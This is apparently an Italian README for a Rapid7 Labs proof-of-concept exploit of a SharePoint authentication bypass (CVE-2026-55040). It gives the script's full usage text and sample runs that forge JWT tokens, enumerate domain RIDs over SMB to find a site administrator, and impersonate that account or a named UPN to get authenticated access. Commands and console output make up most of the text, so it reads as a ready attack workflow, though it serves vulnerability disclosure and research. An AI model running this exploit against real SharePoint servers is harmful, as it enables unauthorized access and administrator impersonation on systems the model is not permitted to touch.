
Exploit proof-of-concept per Microsoft SharePoint CVE-2026-55040 che forgia token JWT, bypassa l'autenticazione, scopre automaticamente i metadati e impersona gli amministratori del sito tramite enumerazione SID.
CVE-2026-55040.py è uno script proof-of-concept per sfruttare la vulnerabilità di bypass dell'autenticazione di SharePoint, CVE-2026-55040.
Per un'analisi tecnica completa, consulta la nostra Analisi Rapid7.
$ python CVE-2026-55040.py --help
usage: CVE-2026-55040.py [-h] [--target TARGET] [--host HOST] [--x5t X5T] [--realm REALM] [--sid SID] [--upn UPN]
[--auto-upn] [--username USERNAME] [--rid RID] [--max-rid MAX_RID] [--port PORT]
[--domain-ip DOMAIN_IP] [--http]
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
options:
-h, --help show this help message and exit
--target TARGET Target IP address (auto-discovers all params)
--host HOST SharePoint hostname (auto-discovered)
--x5t X5T STS signing cert x5t (auto-discovered from metadata)
--realm REALM SharePoint realm GUID (auto-discovered from metadata)
--sid SID Windows SID for identity (auto-discovered via LSARPC)
--upn UPN UPN for identity, e.g. [email protected] (alternative to --sid, no SMB needed)
--auto-upn Auto-construct UPN from HTTPS cert domain (no SMB needed; derives host from cert)
--username USERNAME Username for --auto-upn (default: administrator)
--rid RID Specific RID to use (skips iteration). If not set, auto-SID iterates 500 then 1000+ to find a
site admin
--max-rid MAX_RID Max RID to try during auto-SID iteration (default: 10000)
--port PORT Non-standard port for target web service (default: 443 for HTTPS, 80 for HTTP)
--domain-ip DOMAIN_IP
Domain controller IP for SMB/LSARPC discovery (default: same as --target). Use when the DC is
a different system than the SharePoint server
--http Use HTTP instead of HTTPS (disables auto-discovery; must supply --host, --x5t, --realm, --sid
manually)
Fornendo solo un nome host di destinazione tramite --host, il JWT forgiato utilizzerà un'identità di denominazione AccessToken per l'utente NT AUTHORITY\LOCAL SERVICE.
Nota: sebbene il bypass dell'autenticazione abbia successo, le risorse a cui puoi accedere tramite l'identità AccessToken sono limitate. Ad esempio, non puoi accedere ad alcuni endpoint come /_api/contextinfo (mostrato di seguito durante l'operazione "Recupero del form digest"), ma puoi accedere ad altre risorse protette, ad esempio /_vti_bin/sites.asmx. A seconda della vulnerabilità successiva a cui il bypass dell'autenticazione viene concatenato, l'utilizzo di un'identità di denominazione AccessToken può essere percorribile.
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] No --domain-ip/--sid/--upn provided; using local service identity
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[2] Forging JWT token...
[+] Token forged (1025 bytes)
[3] Obtaining form digest...
[-] Failed to get digest. Response: {"odata.error":{"code":"-2147024891, System.UnauthorizedAccessException","message":{"lang":"en-US","value":"Access denied. You do not have permission to perform this action or access this resource."}}}
Fornendo un nome host di destinazione tramite --host e il --domain-ip di un domain controller corrispondente, il JWT forgiato utilizzerà un'identità di denominazione urn:office:idp:activedirectory per un utente con Windows Security Identifier (SID). Il SID per questo utente viene scoperto automaticamente per trovare un amministratore del sito.
Se conosci in anticipo un SID, puoi omettere --domain-ip e passare il SID noto tramite --sid.
$ python3 -m pipx install impacket
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] Discovering domain SID via SMB (192.168.86.11)...
[*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
[*] DC differs from target; will discover SharePoint hostname separately
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[+] Iterating RIDs to find site admin (500, then 1000-10000)...
[-] RID 500: no valid user
[-] RID 1000: no valid user
[-] RID 1050: no valid user
[-] RID 1100: no valid user
[-] RID 1150: no valid user
[-] RID 1200: no valid user
[-] RID 1250: no valid user
[-] RID 1300: no valid user
[-] RID 1350: no valid user
[-] RID 1400: no valid user
[-] RID 1450: no valid user
[-] RID 1500: no valid user
[-] RID 1550: no valid user
[-] RID 1600: no valid user
[+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
[+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
[+] Found site admin at RID 1605, stopping scan
[+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
[+] Login: SHAREPOINT\system
[2] Forging JWT token...
[+] Token forged (1040 bytes)
[3] Obtaining form digest...
[+] Digest obtained.
Fornendo un nome host di destinazione tramite --host e il --upn di un utente noto del sito, il JWT forgiato utilizzerà un'identità di denominazione urn:office:idp:activedirectory per il User Principal Name (UPN) indicato.
$ python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn [email protected]
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
[*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
[+] Targeting: https://WIN-79B765S1R4G
[2] Forging JWT token...
[+] Token forged (1047 bytes)
[3] Obtaining form digest...
[+] Digest obtained.